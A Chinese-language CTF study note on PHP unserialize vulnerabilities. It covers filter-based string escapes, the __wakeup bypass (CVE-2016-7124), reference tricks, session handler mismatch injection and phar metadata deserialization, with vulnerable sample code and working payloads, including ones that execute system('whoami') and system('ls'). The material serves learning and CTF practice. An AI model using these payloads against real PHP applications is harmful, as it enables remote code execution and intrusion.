第一个字符串减少,吃掉有效代码,在第二个字符串构造代码

字符增多
反序列化字符串怎多逃逸:构造出一个逃逸成员属性
第一个字符串增多,吐出多余代码,把多余代码构造成逃逸的成员属性

增多例题:
<?phphighlight_file(__FILE__);error_reporting(0);function filter($name){ $safe=array("flag","php"); $name=str_replace($safe,"hack",$name); return $name;}class test{ var $user; var $pass='daydream'; function __construct($user){ $this->user=$user; }}$param=$_GET['param'];$param=serialize(new test($param));$profile=unserialize(filter($param));
if ($profile->pass=='escaping'){ echo file_get_contents("flag.php");}?>我们需要传入
";s:4:"pass";s:8:"escaping";}#29所以输入29个php,传入:
?param=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}减少例题:
<?phphighlight_file(__FILE__);error_reporting(0);function filter($name){ $safe=array("flag","php"); $name=str_replace($safe,"hk",$name); return $name;}class test{ var $user; var $pass; var $vip = false ; function __construct($user,$pass){ $this->user=$user; $this->pass=$pass; }}$param=$_GET['user'];$pass=$_GET['pass'];$param=serialize(new test($param,$pass));$profile=unserialize(filter($param));
if ($profile->vip){ echo file_get_contents("flag.php");}?>我们需要传入
";s:4:"pass";N;s:3:"vip";b:1;}flag替换成hk吃掉两个字符
原来的序列化:
O:4:"test":3:{s:4:"user";s:12:"233233233233";s:4:"pass";s:15:"233233233233233";s:3:"vip";b:0;}";s:4:"pass";s:15: #19个字符吃掉19+1个字符需要10个flag
传入:
?user=flagflagflagflagflagflagflagflagflagflag&pass=5";s:4:"pass";N;s:3:"vip";b:1;}wakeup绕过
反序列化漏洞:CVE-2016-7124
版本限制:PHP5<5.6.25 PHP7<7.0.10
产生原因:如果存在__wakeup方法,调用unserialize()方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值,大于真实属性个数,会跳过__wakeup方法
O:4:"test":3:{s:4:"user";s:3:"123";s:4:"pass";s:3:"123";s:3:"vip";b:0;}绕过:
O:4:"test":2:{s:4:"user";s:3:"123";s:4:"pass";s:3:"123";s:3:"vip";b:0;}例子:
<?phperror_reporting(0);class secret{ var $file='index.php';
public function __construct($file){ $this->file=$file; }
function __destruct(){ include_once($this->file); echo $flag; }
function __wakeup(){ $this->file='index.php'; }}$cmd=$_GET['cmd'];if (!isset($cmd)){ highlight_file(__FILE__);}else{ if (preg_match('/[oc]:\d+:/i',$cmd)){ echo "Are you daydreaming?"; } else{ unserialize($cmd); }}//sercet in flag.php?>读题发现
传入
O:+6:"secret":3:{s:4:"file";s:8:"flag.php";}浏览器需要编码成下面
?cmd=O%3A%2B6%3A%22secret%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D引用的利用方式
例题:
<?phphighlight_file(__FILE__);error_reporting(0);include("flag.php");class just4fun { var $enter; var $secret;}
if (isset($_GET['pass'])) { $pass = $_GET['pass']; $pass=str_replace('*','\*',$pass);#把所有的「*」替换掉}
$o = unserialize($pass);
if ($o) { $o->secret = "*";#secret有「*」 if ($o->secret === $o->enter)#检测是否相等 echo "Congratulation! Here is my secret: ".$flag; else echo "Oh no... You can't fool me";}else echo "are you trolling?";?>绕过这个替换我们可以使用引用,让secret的值,构造:
<?phpclass just4fun { var $enter; var $secret;}
$a = new just4fun();$a->enter = &$a->secret;echo serialize($a);?>传入
?pass=O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}#R代表引用,2指的是entersession反序列化漏洞
当session_start()被调用,或者php.ini中session.auto_start为1时,PHP内部调用会话管理器,访问用户session被序列化以后存储目录
(默认/tmp)
格式有多种,常用有三种
漏洞的产生:写入格式和读取格式不一致

session
php
<?phpsession_start();$_SESSION['benben'] = $_GET['ben'];?>?ben=haha存储:
benben|s:4:"haha";php_serilalize
<?phpini_set('session.serialize_handler','php_serialize');session_start();$_SESSION['benben'] = $_GET['ben'];$_SESSION['b'] = $_GET['b'];?>?ben=dazhaung&b=666存储:
a:2{S:6:"benben";S:8:"dazhaung";s:1:"b";s:3:"666";}php_binary

利用
save.php——利用php_serialize存储
<?phpini_set('session.serialize_handler','php_serialize');session_start();$_SESSION['ben'] = $_GET['a'];?>vul.php——利用php存储
<?phpini_set('session.serialize_handler','php');session_start();
class D{ var $a; function __destruct(){ eval($this->a); }}?>构造
<?phpclass D{ var $a="system('whoami');";}echo serialize(new D());?>提交
?a=|O:1:"D":1:{s:1:"a";s:17:"system('whoami');";}存储为
a:1:{s:3:"ben";s:39:"}|O:1:"D":1:{s:1:"a";s:17:"system('whoami');";}";}此时读取使用php_serialize读取则解析成
a:1:{s:3:“ben”;s:39:”}|O:1:“D”:1:{s:1:“a”;s:17:“system(‘whoami’);”;}”;}
键名+竖线+序列化后的值
phar反序列化漏洞
phar类似jar文件,是php的打包文件,对于php5.3以上phar后缀默认开启支持
文件包含:phar伪协议,可读取.phar文件

phar协议解析文件的时候会触发对manifest字段的序列化字符串进行反序列化
漏洞原理
调用phar伪协议(phar://test.phar)可读取.phar文件;
phar协议解析文件会自动触发对manifest字段的序列化字符串进行反序列化
phar需要PHP>=5.2 在php.ini把phar.readonly设为off
例子:
<?phpclass Testobj{ var $output="echo 'ok';"; function __destruct() { eval($this->output); }}if(isset($_GET['filename'])){ $filename=$_GET['filename']; var_dump(file_exists($filename));构造文件的php:
<?phpclass Testobj{ var $output='';}
@unlink('test.phar'); //删除之前的test.par文件(如果有)$phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀$phar->startBuffering(); //开始写文件$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub$o=new Testobj();$o->output='eval($_GET["a"]);';$phar->setMetadata($o);//写入meta-data$phar->addFromString("test.txt","test"); //添加要压缩的文件$phar->stopBuffering();?>传入
?filename=phar://test.phar&a=system('ls');(技巧:eval(eval($_GET[“a”]))可以直接传入a执行指令,不用再计算序列化的长度)
使用条件
- phar文件能上传到服务器端(不看后缀,可改成别的后缀)
- 要有可用反序列化魔术方法作为跳板
- 要有文件操作函数,如file_exists(),fopen(),file_get_contenmts()
- 文件操作函数参数可控,且”/“、phar等没有过滤
部分信息可能已经过时